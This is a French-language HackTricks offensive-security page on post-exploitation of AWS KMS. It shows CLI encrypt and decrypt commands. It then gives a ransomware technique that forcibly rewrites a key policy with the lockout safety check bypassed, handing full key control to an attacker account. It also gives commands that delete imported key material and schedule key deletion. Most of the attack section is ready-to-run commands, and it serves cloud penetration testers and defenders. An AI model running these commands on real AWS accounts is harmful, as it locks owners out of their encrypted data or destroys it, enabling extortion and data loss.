AWS - KMS Post Exploitation

Soutenir HackTricks

KMS

Pour plus d'informations, consultez :

AWS - KMS Enum

Chiffrer/Déchiffrer des informations

Notez que si vous souhaitez déchiffrer des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, pas les données encodées en base64.

  • Utilisation d'une clé symétrique

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utiliser une clé asymétrique :

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaquant ayant un accès privilégié sur KMS pourrait modifier la politique KMS des clés et accorder à son compte l'accès à celles-ci, supprimant l'accès accordé au compte légitime.

Ainsi, les utilisateurs du compte légitime ne pourront accéder à aucune information de service qui a été chiffrée avec ces clés, créant un ransomware facile mais efficace sur le compte.

Notez que les clés gérées par AWS ne sont pas affectées par cette attaque, seulement les clés gérées par le client.

Notez également la nécessité d'utiliser le paramètre --bypass-policy-lockout-safety-check (l'absence de cette option dans la console web rend cette attaque uniquement possible depuis la CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Notez que si vous modifiez cette politique et que vous ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle politique pour redonner l'accès au compte d'origine, vous ne pourrez pas.

Ransomware KMS Générique

Ransomware KMS Global

Il existe une autre façon d'effectuer un ransomware KMS global, qui impliquerait les étapes suivantes :

  • Créer une nouvelle clé avec un matériel de clé importé par l'attaquant

  • Ré-encrypter les anciennes données chiffrées avec la version précédente avec la nouvelle.

  • Supprimer la clé KMS

  • Maintenant, seul l'attaquant, qui possède le matériel de clé d'origine, pourrait être en mesure de déchiffrer les données chiffrées

Détruire les clés

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Notez qu'AWS empêche désormais les actions précédentes d'être effectuées à partir d'un compte croisé :

Supportez HackTricks

Last updated